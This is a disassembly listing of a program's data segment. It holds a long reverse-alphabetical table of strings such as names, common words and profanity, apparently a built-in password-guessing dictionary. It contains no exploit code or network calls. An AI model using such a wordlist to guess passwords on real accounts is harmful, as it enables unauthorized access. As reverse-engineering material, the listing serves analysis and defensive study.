		align 4
aGrahm		db 'grahm',0            ; DATA XREF: seg002:0042CDE4o
		align 4
aGraham		db 'graham',0           ; DATA XREF: seg002:0042CDE0o
		align 4
aGrades		db 'grades',0           ; DATA XREF: seg002:0042CDDCo
		align 4
aGovermen	db 'govermen',0         ; DATA XREF: seg002:0042CDD8o
		align 4
aGouge		db 'gouge',0            ; DATA XREF: seg002:0042CDD4o
		align 10h
aGosling	db 'gosling',0          ; DATA XREF: seg002:0042CDD0o
aGorges		db 'gorges',0           ; DATA XREF: seg002:0042CDCCo
		align 10h
aGorgeous	db 'gorgeous',0         ; DATA XREF: seg002:0042CDC8o
		align 4
aGood		db 'good',0             ; DATA XREF: seg002:0042CDC4o
		align 4
aGolfer		db 'golfer',0           ; DATA XREF: seg002:0042CDC0o
		align 4
aGolf		db 'golf',0             ; DATA XREF: seg002:0042CDBCo
		align 4
aGolden		db 'golden',0           ; DATA XREF: seg002:0042CDB8o
		align 4
aGold		db 'gold',0             ; DATA XREF: seg002:0042CDB4o
		align 4
aGlacier	db 'glacier',0          ; DATA XREF: seg002:0042CDB0o
aGirl		db 'girl',0             ; DATA XREF: seg002:0042CDACo
		align 4
aGinger		db 'ginger',0           ; DATA XREF: seg002:0042CDA8o
		align 4
aGina		db 'gina',0             ; DATA XREF: seg002:0042CDA4o
		align 4
aGigabyte	db 'gigabyte',0         ; DATA XREF: seg002:0042CDA0o
		align 10h
aGibson		db 'gibson',0           ; DATA XREF: seg002:0042CD9Co
		align 4
aGhost		db 'ghost',0            ; DATA XREF: seg002:0042CD98o
		align 10h
aGertrude	db 'gertrude',0         ; DATA XREF: seg002:0042CD94o
		align 4
aGerm		db 'germ',0             ; DATA XREF: seg002:0042CD90o
		align 4
aGeorge		db 'george',0           ; DATA XREF: seg002:0042CD8Co
		align 4
aGauss		db 'gauss',0            ; DATA XREF: seg002:0042CD88o
		align 4
aGatt		db 'gatt',0             ; DATA XREF: seg002:0042CD84o
		align 4
aGatherin	db 'gatherin',0         ; DATA XREF: seg002:0042CD80o
		align 4
aGateway	db 'gateway',0          ; DATA XREF: seg002:0042CD7Co
aGarfield	db 'garfield',0         ; DATA XREF: seg002:0042CD78o
		align 4
aGardner	db 'gardner',0          ; DATA XREF: seg002:0042CD74o
aGames		db 'games',0            ; DATA XREF: seg002:0042CD70o
		align 4
aGabriel	db 'gabriel',0          ; DATA XREF: seg002:0042CD6Co
aFungible	db 'fungible',0         ; DATA XREF: seg002:0042CD68o
		align 10h
aFunction	db 'function',0         ; DATA XREF: seg002:0042CD64o
		align 4
aFudge		db 'fudge',0            ; DATA XREF: seg002:0042CD60o
		align 4
aFuckyou	db 'fuckyou',0          ; DATA XREF: seg002:0042CD5Co
aFuckme		db 'fuckme',0           ; DATA XREF: seg002:0042CD58o
		align 4
aFucking	db 'fucking',0          ; DATA XREF: seg002:0042CD54o
aFucker		db 'fucker',0           ; DATA XREF: seg002:0042CD50o
		align 4
aFuck		db 'fuck',0             ; DATA XREF: seg002:0042CD4Co
		align 4
aFryguy		db 'fryguy',0           ; DATA XREF: seg002:0042CD48o
		align 4
aFrog		db 'frog',0             ; DATA XREF: seg002:0042CD44o
		align 4
aFrighten	db 'frighten',0         ; DATA XREF: seg002:0042CD40o
		align 4
aFriends	db 'friends',0          ; DATA XREF: seg002:0042CD3Co
aFriend		db 'friend',0           ; DATA XREF: seg002:0042CD38o
		align 4
aFriday		db 'friday',0           ; DATA XREF: seg002:0042CD34o
		align 10h
aFrench		db 'french',0           ; DATA XREF: seg002:0042CD30o
		align 4
aFreedom	db 'freedom',0          ; DATA XREF: seg002:0042CD2Co
aFree		db 'free',0             ; DATA XREF: seg002:0042CD28o
		align 4
aFred		db 'fred',0             ; DATA XREF: seg002:0042CD24o
		align 10h
aFreak		db 'freak',0            ; DATA XREF: seg002:0042CD20o
		align 4
aFrank		db 'frank',0            ; DATA XREF: seg002:0042CD1Co
		align 10h
aFrance		db 'france',0           ; DATA XREF: seg002:0042CD18o
		align 4
aFoxtrot	db 'foxtrot',0          ; DATA XREF: seg002:0042CD14o
aFourier	db 'fourier',0          ; DATA XREF: seg002:0042CD10o
aForsythe	db 'forsythe',0         ; DATA XREF: seg002:0042CD0Co
		align 4
aFornicat	db 'fornicat',0         ; DATA XREF: seg002:0042CD08o
		align 10h
aFormat		db 'format',0           ; DATA XREF: seg002:0042CD04o
		align 4
aForm		db 'form',0             ; DATA XREF: seg002:0042CD00o
		align 10h
aForever	db 'forever',0          ; DATA XREF: seg002:0042CCFCo
aForesigh	db 'foresigh',0         ; DATA XREF: seg002:0042CCF8o
		align 4
aFord		db 'ford',0             ; DATA XREF: seg002:0042CCF4o
		align 4
aForce		db 'force',0            ; DATA XREF: seg002:0042CCF0o
		align 4
aFootball	db 'football',0         ; DATA XREF: seg002:0042CCECo
		align 10h
aFoolproo	db 'foolproo',0         ; DATA XREF: seg002:0042CCE8o
		align 4
aFool		db 'fool',0             ; DATA XREF: seg002:0042CCE4o
		align 4
aFood		db 'food',0             ; DATA XREF: seg002:0042CCE0o
		align 4
aFlowers	db 'flowers',0          ; DATA XREF: seg002:0042CCDCo
aFlower		db 'flower',0           ; DATA XREF: seg002:0042CCD8o
		align 4
aFlorida	db 'florida',0          ; DATA XREF: seg002:0042CCD4o
aFloat		db 'float',0            ; DATA XREF: seg002:0042CCD0o
		align 4
aFlakes		db 'flakes',0           ; DATA XREF: seg002:0042CCCCo
		align 4
aFishers	db 'fishers',0          ; DATA XREF: seg002:0042CCC8o
aFirewall	db 'firewall',0         ; DATA XREF: seg002:0042CCC4o
		align 4
aFire		db 'fire',0             ; DATA XREF: seg002:0042CCC0o
		align 10h
aFinite		db 'finite',0           ; DATA XREF: seg002:0042CCBCo
		align 4
aFile		db 'file',0             ; DATA XREF: seg000:0040EB48o
					; seg000:0040EBBEo ...
		align 10h
aFight		db 'fight',0            ; DATA XREF: seg002:0042CCB4o
		align 4
aField		db 'field',0            ; DATA XREF: seg002:0042CCB0o
		align 10h
aFidelity	db 'fidelity',0         ; DATA XREF: seg002:0042CCACo
		align 4
aFerrari	db 'ferrari',0          ; DATA XREF: seg002:0042CCA8o
aFermat		db 'fermat',0           ; DATA XREF: seg002:0042CCA4o
		align 4
aFender		db 'fender',0           ; DATA XREF: seg002:0042CCA0o
		align 4
aFelicia	db 'felicia',0          ; DATA XREF: seg002:0042CC9Co
aFeds		db 'feds',0             ; DATA XREF: seg002:0042CC98o
		align 4
aFear		db 'fear',0             ; DATA XREF: seg002:0042CC94o
		align 4
aFast		db 'fast',0             ; DATA XREF: seg002:0042CC90o
		align 4
aFart		db 'fart',0             ; DATA XREF: seg002:0042CC8Co
		align 4
aFaraday	db 'faraday',0          ; DATA XREF: seg002:0042CC88o
aFarad		db 'farad',0            ; DATA XREF: seg002:0042CC84o
		align 4
aFamily		db 'family',0           ; DATA XREF: seg002:0042CC80o
		align 4
aFalse		db 'false',0            ; DATA XREF: seg002:0042CC7Co
		align 4
aFalcon		db 'falcon',0           ; DATA XREF: seg002:0042CC78o
		align 4
aFaith		db 'faith',0            ; DATA XREF: seg002:0042CC74o
		align 4
aFairway	db 'fairway',0          ; DATA XREF: seg002:0042CC70o
aExtensio	db 'extensio',0         ; DATA XREF: seg002:0042CC6Co
		align 10h
aExplosiv	db 'explosiv',0         ; DATA XREF: seg002:0042CC68o
		align 4
aExplorer	db 'explorer',0         ; DATA XREF: seg002:0042CC64o
		align 4
aExplore	db 'explore',0          ; DATA XREF: seg002:0042CC60o
aExplode	db 'explode',0          ; DATA XREF: seg002:0042CC5Co
aExpert		db 'expert',0           ; DATA XREF: seg002:0042CC58o
		align 10h
aEvelyn		db 'evelyn',0           ; DATA XREF: seg002:0042CC54o
		align 4
aEuclid		db 'euclid',0           ; DATA XREF: seg002:0042CC50o
		align 10h
aEternity	db 'eternity',0         ; DATA XREF: seg002:0042CC4Co
		align 4
aEstate		db 'estate',0           ; DATA XREF: seg002:0042CC48o
		align 4
aEstablis	db 'establis',0         ; DATA XREF: seg002:0042CC44o
		align 10h
aErsatz		db 'ersatz',0           ; DATA XREF: seg002:0042CC40o
		align 4
aErotic		db 'erotic',0           ; DATA XREF: seg002:0042CC3Co
		align 10h
aErin		db 'erin',0             ; DATA XREF: seg002:0042CC38o
		align 4
aErika		db 'erika',0            ; DATA XREF: seg002:0042CC34o
		align 10h
aErica		db 'erica',0            ; DATA XREF: seg002:0042CC30o
		align 4
aEric		db 'eric',0             ; DATA XREF: seg002:0042CC2Co
		align 10h
aErenity	db 'erenity',0          ; DATA XREF: seg002:0042CC28o
aEnzyme		db 'enzyme',0           ; DATA XREF: seg002:0042CC24o
		align 10h
aEnterpri	db 'enterpri',0         ; DATA XREF: seg002:0042CC20o
		align 4
aEnter		db 'enter',0            ; DATA XREF: seg002:0042CC1Co
		align 4
aEnglish	db 'english',0          ; DATA XREF: seg002:0042CC18o
aEngland	db 'england',0          ; DATA XREF: seg002:0042CC14o
aEngineer	db 'engineer',0         ; DATA XREF: seg002:0042CC10o
		align 10h
aEngine		db 'engine',0           ; DATA XREF: seg002:0042CC0Co
		align 4
aEnemy		db 'enemy',0            ; DATA XREF: seg002:0042CC08o
		align 10h
aEmmanuel	db 'emmanuel',0         ; DATA XREF: seg002:0042CC04o
		align 4
aEmily		db 'emily',0            ; DATA XREF: seg002:0042CC00o
		align 4
aEmerald	db 'emerald',0          ; DATA XREF: seg002:0042CBFCo
aEmail		db 'email',0            ; DATA XREF: seg002:0042CBF8o
		align 4
aEllen		db 'ellen',0            ; DATA XREF: seg002:0042CBF4o
		align 4
aElizabet	db 'elizabet',0         ; DATA XREF: seg002:0042CBF0o
		align 4
aElephant	db 'elephant',0         ; DATA XREF: seg002:0042CBECo
		align 4
aElectron	db 'electron',0         ; DATA XREF: seg002:0042CBE8o
		align 10h
aElanor		db 'elanor',0           ; DATA XREF: seg002:0042CBE4o
		align 4
aElaine		db 'elaine',0           ; DATA XREF: seg002:0042CBE0o
		align 10h
aEinstein	db 'einstein',0         ; DATA XREF: seg002:0042CBDCo
		align 4
aEinsiein	db 'einsiein',0         ; DATA XREF: seg002:0042CBD8o
		align 4
aEileen		db 'eileen',0           ; DATA XREF: seg002:0042CBD4o
		align 10h
aEiderdow	db 'eiderdow',0         ; DATA XREF: seg002:0042CBD0o
		align 4
aEgghead	db 'egghead',0          ; DATA XREF: seg002:0042CBCCo
aEdwina		db 'edwina',0           ; DATA XREF: seg002:0042CBC8o
		align 4
aEdwin		db 'edwin',0            ; DATA XREF: seg002:0042CBC4o
		align 4
aEducatio	db 'educatio',0         ; DATA XREF: seg002:0042CBC0o
		align 10h
aEducation	db 'education',0        ; DATA XREF: seg002:0042CBBCo
		align 4
aEdition	db 'edition',0          ; DATA XREF: seg002:0042CBB8o
aEdit		db 'edit',0             ; DATA XREF: seg002:0042CBB4o
		align 4
aEdinburg	db 'edinburg',0         ; DATA XREF: seg002:0042CBB0o
		align 4
aEdges		db 'edges',0            ; DATA XREF: seg002:0042CBACo
		align 10h
aEddie		db 'eddie',0            ; DATA XREF: seg002:0042CBA8o
		align 4
aEcho		db 'echo',0             ; DATA XREF: seg002:0042CBA4o
		align 10h
aEatme		db 'eatme',0            ; DATA XREF: seg002:0042CBA0o
		align 4
aEasy		db 'easy',0             ; DATA XREF: seg002:0042CB9Co
		align 10h
aEasier		db 'easier',0           ; DATA XREF: seg002:0042CB98o
		align 4
aEarth		db 'earth',0            ; DATA XREF: seg002:0042CB94o
		align 10h
aEagle		db 'eagle',0            ; DATA XREF: seg002:0042CB90o
		align 4
aEager		db 'eager',0            ; DATA XREF: seg002:0042CB8Co
		align 10h
aDyke		db 'dyke',0             ; DATA XREF: seg002:0042CB88o
		align 4
aDungeon	db 'dungeon',0          ; DATA XREF: seg002:0042CB84o
aDuncan		db 'duncan',0           ; DATA XREF: seg002:0042CB80o
		align 4
aDulce		db 'dulce',0            ; DATA XREF: seg002:0042CB7Co
		align 10h
aDuke		db 'duke',0             ; DATA XREF: seg002:0042CB78o
		align 4
aDuelist	db 'duelist',0          ; DATA XREF: seg002:0042CB74o
aDude		db 'dude',0             ; DATA XREF: seg002:0042CB70o
		align 4
aDuck		db 'duck',0             ; DATA XREF: seg002:0042CB6Co
		align 10h
aDrought	db 'drought',0          ; DATA XREF: seg002:0042CB68o
aDrive		db 'drive',0            ; DATA XREF: seg002:0042CB64o
		align 10h
aDrdoom		db 'drdoom',0           ; DATA XREF: seg002:0042CB60o
		align 4
aDragon		db 'dragon',0           ; DATA XREF: seg002:0042CB5Co
		align 10h
aDownload	db 'download',0         ; DATA XREF: seg002:0042CB58o
		align 4
aDope		db 'dope',0             ; DATA XREF: seg002:0042CB54o
		align 4
aDoors		db 'doors',0            ; DATA XREF: seg002:0042CB50o
		align 4
aDoor		db 'door',0             ; DATA XREF: seg002:0042CB4Co
		align 4
aDoonesbu	db 'doonesbu',0         ; DATA XREF: seg002:0042CB48o
		align 10h
aDoomsday	db 'doomsday',0         ; DATA XREF: seg002:0042CB44o
		align 4
aDoomii		db 'doomii',0           ; DATA XREF: seg002:0042CB40o
		align 4
aDoom2		db 'doom2',0            ; DATA XREF: seg002:0042CB3Co
		align 4
aDoom		db 'doom',0             ; DATA XREF: seg002:0042CB38o
		align 4
aDong		db 'dong',0             ; DATA XREF: seg002:0042CB34o
		align 4
aDollar		db 'dollar',0           ; DATA XREF: seg002:0042CB30o
		align 4
aDoctor		db 'doctor',0           ; DATA XREF: seg002:0042CB2Co
		align 4
aDisplay	db 'display',0          ; DATA XREF: seg002:0042CB28o
aDisney		db 'disney',0           ; DATA XREF: seg002:0042CB24o
		align 4
aDiskette	db 'diskette',0         ; DATA XREF: seg002:0042CB20o
		align 4
aDisk_0		db 'disk',0             ; DATA XREF: seg002:0042CB1Co
		align 10h
aDiscover	db 'discover',0         ; DATA XREF: seg002:0042CB18o
		align 4
aDisclose	db 'disclose',0         ; DATA XREF: seg002:0042CB14o
		align 4
aDiscipli	db 'discipli',0         ; DATA XREF: seg002:0042CB10o
		align 4
aDisc		db 'disc',0             ; DATA XREF: seg002:0042CB0Co
		align 4
aDirty		db 'dirty',0            ; DATA XREF: seg002:0042CB08o
		align 4
aDirector	db 'director',0         ; DATA XREF: seg002:0042CB04o
		align 10h
aDirect		db 'direct',0           ; DATA XREF: seg002:0042CB00o
		align 4
aDipshit	db 'dipshit',0          ; DATA XREF: seg002:0042CAFCo
aDinosaur	db 'dinosaur',0         ; DATA XREF: seg002:0042CAF8o
		align 4
aDigital	db 'digital',0          ; DATA XREF: seg002:0042CAF4o
aDieter		db 'dieter',0           ; DATA XREF: seg002:0042CAF0o
		align 4
aDiet		db 'diet',0             ; DATA XREF: seg002:0042CAECo
		align 4
aDiehard	db 'diehard',0          ; DATA XREF: seg002:0042CAE8o
aDick		db 'dick',0             ; DATA XREF: seg002:0042CAE4o
		align 4
aDice		db 'dice',0             ; DATA XREF: seg002:0042CAE0o
		align 4
aDiane		db 'diane',0            ; DATA XREF: seg002:0042CADCo
		align 4
aDiana		db 'diana',0            ; DATA XREF: seg002:0042CAD8o
		align 4
aDiamond	db 'diamond',0          ; DATA XREF: seg002:0042CAD4o
aDial		db 'dial',0             ; DATA XREF: seg002:0042CAD0o
		align 4
aDevice		db 'device',0           ; DATA XREF: seg002:0042CACCo
		align 4
aDevelop	db 'develop',0          ; DATA XREF: seg002:0042CAC8o
aDesperat	db 'desperat',0         ; DATA XREF: seg002:0042CAC4o
		align 4
aDesktop	db 'desktop',0          ; DATA XREF: seg002:0042CAC0o
aDesk		db 'desk',0             ; DATA XREF: seg002:0042CABCo
		align 4
aDesiree	db 'desiree',0          ; DATA XREF: seg002:0042CAB8o
aDennis		db 'dennis',0           ; DATA XREF: seg002:0042CAB4o
		align 4
aDenise		db 'denise',0           ; DATA XREF: seg002:0042CAB0o
		align 10h
aDemocrat	db 'democrat',0         ; DATA XREF: seg002:0042CAACo
		align 4
aDeluge		db 'deluge',0           ; DATA XREF: seg002:0042CAA8o
		align 4
aDelta		db 'delta',0            ; DATA XREF: seg002:0042CAA4o
		align 4
aDefoe		db 'defoe',0            ; DATA XREF: seg002:0042CAA0o
		align 4
aDefault_0	db 'DEFAULT',0          ; DATA XREF: seg002:0042CA9Co
aDeck		db 'deck',0             ; DATA XREF: seg002:0042CA94o
		align 4
aDecember	db 'december',0         ; DATA XREF: seg002:0042CA90o
		align 10h
aDebug		db 'debug',0            ; DATA XREF: seg002:0042CA8Co
		align 4
aDeborah	db 'deborah',0          ; DATA XREF: seg002:0042CA88o
aDebbie		db 'debbie',0           ; DATA XREF: seg002:0042CA84o
		align 4
aDeathsta	db 'deathsta',0         ; DATA XREF: seg002:0042CA80o
		align 4
aDead		db 'dead',0             ; DATA XREF: seg002:0042CA7Co
		align 4
aDawn		db 'dawn',0             ; DATA XREF: seg002:0042CA78o
		align 4
aDave		db 'dave',0             ; DATA XREF: seg002:0042CA74o
		align 4
aData		db 'data',0             ; DATA XREF: seg002:0042CA70o
		align 4
aDarkaven	db 'darkaven',0         ; DATA XREF: seg002:0042CA6Co
		align 10h
aDark		db 'dark',0             ; DATA XREF: seg002:0042CA68o
		align 4
aDapper		db 'dapper',0           ; DATA XREF: seg002:0042CA64o
		align 10h
aDanny		db 'danny',0            ; DATA XREF: seg002:0042CA60o
		align 4
aDanielle	db 'danielle',0         ; DATA XREF: seg002:0042CA5Co
		align 4
aDaniel		db 'daniel',0           ; DATA XREF: seg002:0042CA58o
		align 4
aDancer		db 'dancer',0           ; DATA XREF: seg002:0042CA54o
		align 4
aDana		db 'dana',0             ; DATA XREF: seg002:0042CA50o
		align 4
aDaisy		db 'daisy',0            ; DATA XREF: seg002:0042CA4Co
		align 4
aDaemon		db 'daemon',0           ; DATA XREF: seg002:0042CA48o
		align 4
aCynthia	db 'cynthia',0          ; DATA XREF: seg002:0042CA44o
aCyberspa	db 'cyberspa',0         ; DATA XREF: seg002:0042CA40o
		align 10h
aCyberpun	db 'cyberpun',0         ; DATA XREF: seg002:0042CA3Co
		align 4
aCyber		db 'cyber',0            ; DATA XREF: seg002:0042CA38o
		align 4
aCustomer	db 'customer',0         ; DATA XREF: seg002:0042CA34o
		align 10h
aCunt		db 'cunt',0             ; DATA XREF: seg002:0042CA30o
		align 4
aCshrc		db 'cshrc',0            ; DATA XREF: seg002:0042CA2Co
		align 10h
aCrystal	db 'crystal',0          ; DATA XREF: seg002:0042CA28o
aCristina	db 'cristina',0         ; DATA XREF: seg002:0042CA24o
		align 4
aCriminal	db 'criminal',0         ; DATA XREF: seg002:0042CA20o
		align 10h
aCrime		db 'crime',0            ; DATA XREF: seg002:0042CA1Co
		align 4
aCretin		db 'cretin',0           ; DATA XREF: seg002:0042CA18o
		align 10h
aCreosote	db 'creosote',0         ; DATA XREF: seg002:0042CA14o
		align 4
aCredit		db 'credit',0           ; DATA XREF: seg002:0042CA10o
		align 4
aCreature	db 'creature',0         ; DATA XREF: seg002:0042CA0Co
		align 10h
aCreation	db 'creation',0         ; DATA XREF: seg002:0042CA08o
		align 4
aCreate		db 'create',0           ; DATA XREF: seg002:0042CA04o
		align 4
aCream		db 'cream',0            ; DATA XREF: seg002:0042CA00o
		align 4
aCrackpot	db 'crackpot',0         ; DATA XREF: seg002:0042C9FCo
		align 4
aCrack		db 'crack',0            ; DATA XREF: seg002:0042C9F8o
		align 10h
aCowboy		db 'cowboy',0           ; DATA XREF: seg002:0042C9F4o
		align 4
aCouscous	db 'couscous',0         ; DATA XREF: seg002:0042C9F0o
		align 4
aCountry	db 'country',0          ; DATA XREF: seg002:0042C9ECo
aCounters	db 'counters',0         ; DATA XREF: seg002:0042C9E8o
		align 4
aCorrect	db 'correct',0          ; DATA XREF: seg002:0042C9E4o
aCorneliu	db 'corneliu',0         ; DATA XREF: seg002:0042C9E0o
		align 4
aCopy		db 'copy',0             ; DATA XREF: seg002:0042C9DCo
		align 4
aCops		db 'cops',0             ; DATA XREF: seg002:0042C9D8o
		align 4
aCopper		db 'copper',0           ; DATA XREF: seg002:0042C9D4o
		align 4
aCooper		db 'cooper',0           ; DATA XREF: seg002:0042C9D0o
		align 4
aCool		db 'cool',0             ; DATA XREF: seg002:0042C9CCo
		align 4
aCookie		db 'cookie',0           ; DATA XREF: seg002:0042C9C8o
		align 4
aCookbook	db 'cookbook',0         ; DATA XREF: seg002:0042C9C4o
		align 4
aCook		db 'cook',0             ; DATA XREF: seg002:0042C9C0o
		align 10h
aContinue	db 'continue',0         ; DATA XREF: seg000:0040EDC1o
					; seg002:0042C9BCo
		align 4
aConsole	db 'console',0          ; DATA XREF: seg002:0042C9B8o
aConserva	db 'conserva',0         ; DATA XREF: seg002:0042C9B4o
		align 10h
aConnie		db 'connie',0           ; DATA XREF: seg002:0042C9B0o
		align 4
aCondom		db 'condom',0           ; DATA XREF: seg002:0042C9A8o
		align 10h
aCondo		db 'condo',0            ; DATA XREF: seg002:0042C9A4o
		align 4
aComrades	db 'comrades',0         ; DATA XREF: seg002:0042C9A0o
		align 4
aComrade	db 'comrade',0          ; DATA XREF: seg002:0042C99Co
aComputin	db 'computin',0         ; DATA XREF: seg002:0042C998o
		align 4
aCompany	db 'company',0          ; DATA XREF: seg002:0042C994o
aCommrade	db 'commrade',0         ; DATA XREF: seg002:0042C990o
		align 4
aCommit		db 'commit',0           ; DATA XREF: seg002:0042C98Co
		align 4
aComics		db 'comics',0           ; DATA XREF: seg002:0042C988o
		align 4
aCombat		db 'combat',0           ; DATA XREF: seg002:0042C984o
		align 4
aColor		db 'color',0            ; DATA XREF: seg002:0042C980o
		align 4
aCollins	db 'collins',0          ; DATA XREF: seg002:0042C97Co
aCold		db 'cold',0             ; DATA XREF: seg002:0042C978o
		align 4
aCola		db 'cola',0             ; DATA XREF: seg002:0042C974o
		align 4
aCoke		db 'coke',0             ; DATA XREF: seg002:0042C970o
		align 4
aCoin		db 'coin',0             ; DATA XREF: seg002:0042C96Co
		align 4
aCoffee		db 'coffee',0           ; DATA XREF: seg002:0042C968o
		align 4
aCodeword	db 'codeword',0         ; DATA XREF: seg002:0042C964o
		align 4
aCodename	db 'codename',0         ; DATA XREF: seg002:0042C960o
		align 4
aCode		db 'code',0             ; DATA XREF: seg002:0042C95Co
		align 4
aCock		db 'cock',0             ; DATA XREF: seg002:0042C958o
		align 4
aCocainco	db 'cocainco',0         ; DATA XREF: seg002:0042C954o
		align 10h
aCocacola	db 'cocacola',0         ; DATA XREF: seg002:0042C950o
		align 4
aCoast		db 'coast',0            ; DATA XREF: seg002:0042C94Co
		align 4
aClusters	db 'clusters',0         ; DATA XREF: seg002:0042C948o
		align 10h
aCluster	db 'cluster',0          ; DATA XREF: seg002:0042C944o
aClinton	db 'clinton',0          ; DATA XREF: seg002:0042C940o
aCleavage	db 'cleavage',0         ; DATA XREF: seg002:0042C93Co
		align 4
aClaymore	db 'claymore',0         ; DATA XREF: seg002:0042C938o
		align 4
aClaudia	db 'claudia',0          ; DATA XREF: seg002:0042C934o
aClassic	db 'classic',0          ; DATA XREF: seg002:0042C930o
aClasses	db 'classes',0          ; DATA XREF: seg002:0042C92Co
aClass		db 'class',0            ; DATA XREF: seg002:0042C928o
		align 4
aCindy		db 'cindy',0            ; DATA XREF: seg002:0042C924o
		align 10h
aCigarett	db 'cigarett',0         ; DATA XREF: seg002:0042C920o
		align 4
aCigar		db 'cigar',0            ; DATA XREF: seg002:0042C91Co
		align 4
aChristy	db 'christy',0          ; DATA XREF: seg002:0042C918o
aChristin	db 'christin',0         ; DATA XREF: seg002:0042C914o
		align 4
aChris		db 'chris',0            ; DATA XREF: seg002:0042C910o
		align 10h
aChip		db 'chip',0             ; DATA XREF: seg002:0042C90Co
		align 4
aChester	db 'chester',0          ; DATA XREF: seg002:0042C908o
aChess		db 'chess',0            ; DATA XREF: seg002:0042C904o
		align 4
aChemistr	db 'chemistr',0         ; DATA XREF: seg002:0042C900o
		align 4
aChem		db 'chem',0             ; DATA XREF: seg002:0042C8FCo
		align 4
aChat_0		db 'chat',0             ; DATA XREF: seg002:0042C8F8o
		align 4
aCharon		db 'charon',0           ; DATA XREF: seg002:0042C8F4o
		align 4
aCharming	db 'charming',0         ; DATA XREF: seg002:0042C8F0o
		align 4
aCharlie	db 'charlie',0          ; DATA XREF: seg002:0042C8ECo
aCharles	db 'charles',0          ; DATA XREF: seg002:0042C8E8o
aCharity	db 'charity',0          ; DATA XREF: seg002:0042C8E4o
aChange		db 'change',0           ; DATA XREF: seg002:0042C8E0o
		align 4
aCerulean	db 'cerulean',0         ; DATA XREF: seg002:0042C8DCo
		align 4
aCeltics	db 'celtics',0          ; DATA XREF: seg002:0042C8D8o
aCeltic		db 'celtic',0           ; DATA XREF: seg002:0042C8D4o
		align 4
aCelt		db 'celt',0             ; DATA XREF: seg002:0042C8D0o
		align 4
aCecily		db 'cecily',0           ; DATA XREF: seg002:0042C8CCo
		align 4
aCayuga		db 'cayuga',0           ; DATA XREF: seg002:0042C8C8o
		align 4
aCave		db 'cave',0             ; DATA XREF: seg002:0042C8C4o
		align 4
aCathy		db 'cathy',0            ; DATA XREF: seg002:0042C8C0o
		align 4
aCatholic	db 'catholic',0         ; DATA XREF: seg002:0042C8BCo
		align 4
aCatherin	db 'catherin',0         ; DATA XREF: seg002:0042C8B8o
		align 4
aCastle		db 'castle',0           ; DATA XREF: seg002:0042C8B4o
		align 4
aCash		db 'cash',0             ; DATA XREF: seg002:0042C8B0o
		align 4
aCascades	db 'cascades',0         ; DATA XREF: seg002:0042C8ACo
		align 10h
aCarson		db 'carson',0           ; DATA XREF: seg002:0042C8A8o
		align 4
aCarrie		db 'carrie',0           ; DATA XREF: seg002:0042C8A4o
		align 10h
aCaroline	db 'caroline',0         ; DATA XREF: seg002:0042C8A0o
		align 4
aCarolina	db 'carolina',0         ; DATA XREF: seg002:0042C89Co
		align 4
aCarole		db 'carole',0           ; DATA XREF: seg002:0042C898o
		align 10h
aCarol		db 'carol',0            ; DATA XREF: seg002:0042C894o
		align 4
aCarmen		db 'carmen',0           ; DATA XREF: seg002:0042C890o
		align 10h
aCarla		db 'carla',0            ; DATA XREF: seg002:0042C88Co
		align 4
aCaren		db 'caren',0            ; DATA XREF: seg002:0042C888o
		align 10h
aCardinal	db 'cardinal',0         ; DATA XREF: seg002:0042C884o
		align 4
aCard		db 'card',0             ; DATA XREF: seg002:0042C880o
		align 4
aCapture	db 'capture',0          ; DATA XREF: seg002:0042C87Co
aCaptain	db 'captain',0          ; DATA XREF: seg002:0042C878o
aCantor		db 'cantor',0           ; DATA XREF: seg002:0042C874o
		align 4
aCandy		db 'candy',0            ; DATA XREF: seg002:0042C870o
		align 4
aCandi		db 'candi',0            ; DATA XREF: seg002:0042C86Co
		align 4
aCamping	db 'camping',0          ; DATA XREF: seg002:0042C868o
aCampanil	db 'campanil',0         ; DATA XREF: seg002:0042C864o
		align 10h
aCamille	db 'camille',0          ; DATA XREF: seg002:0042C860o
aCaliforn	db 'californ',0         ; DATA XREF: seg002:0042C85Co
		align 4
aButthead	db 'butthead',0         ; DATA XREF: seg002:0042C858o
		align 10h
aButt		db 'butt',0             ; DATA XREF: seg002:0042C854o
		align 4
aButch		db 'butch',0            ; DATA XREF: seg002:0042C850o
		align 10h
aBurn		db 'burn',0             ; DATA XREF: seg002:0042C84Co
		align 4
aBurgess	db 'burgess',0          ; DATA XREF: seg002:0042C848o
aBung		db 'bung',0             ; DATA XREF: seg002:0042C844o
		align 4
aBumbling	db 'bumbling',0         ; DATA XREF: seg002:0042C840o
		align 4
aBullshit	db 'bullshit',0         ; DATA XREF: seg002:0042C83Co
		align 10h
aBulls		db 'bulls',0            ; DATA XREF: seg002:0042C838o
		align 4
aBrutefor	db 'brutefor',0         ; DATA XREF: seg002:0042C834o
		align 4
aBrute		db 'brute',0            ; DATA XREF: seg002:0042C830o
		align 4
aBrunette	db 'brunette',0         ; DATA XREF: seg002:0042C82Co
		align 4
aBrothel	db 'brothel',0          ; DATA XREF: seg002:0042C828o
aBroadway	db 'broadway',0         ; DATA XREF: seg002:0042C824o
		align 4
aBridget	db 'bridget',0          ; DATA XREF: seg002:0042C820o
aBrian		db 'brian',0            ; DATA XREF: seg002:0042C81Co
		align 4
aBrenda		db 'brenda',0           ; DATA XREF: seg002:0042C818o
		align 4
aBreast		db 'breast',0           ; DATA XREF: seg002:0042C814o
		align 4
aBreak		db 'break',0            ; DATA XREF: seg002:0042C810o
		align 4
aBravo		db 'bravo',0            ; DATA XREF: seg002:0042C80Co
		align 4
aBrandy		db 'brandy',0           ; DATA XREF: seg002:0042C808o
		align 4
aBrandi		db 'brandi',0           ; DATA XREF: seg002:0042C804o
		align 4
aBradley	db 'bradley',0          ; DATA XREF: seg002:0042C800o
aBoyscout	db 'boyscout',0         ; DATA XREF: seg002:0042C7FCo
		align 10h
aBorn		db 'born',0             ; DATA XREF: seg002:0042C7F8o
		align 4
aBook		db 'book',0             ; DATA XREF: seg002:0042C7F4o
		align 10h
aBoobs		db 'boobs',0            ; DATA XREF: seg002:0042C7F0o
		align 4
aBoob		db 'boob',0             ; DATA XREF: seg002:0042C7ECo
		align 10h
aBoner		db 'boner',0            ; DATA XREF: seg002:0042C7E8o
		align 4
aBomb		db 'bomb',0             ; DATA XREF: seg002:0042C7E4o
		align 10h
aBoard		db 'board',0            ; DATA XREF: seg002:0042C7E0o
		align 4
aBlues		db 'blues',0            ; DATA XREF: seg002:0042C7DCo
		align 10h
aBlue		db 'blue',0             ; DATA XREF: seg002:0042C7D8o
		align 4
aBlowjob	db 'blowjob',0          ; DATA XREF: seg002:0042C7D4o
aBlow		db 'blow',0             ; DATA XREF: seg002:0042C7D0o
		align 4
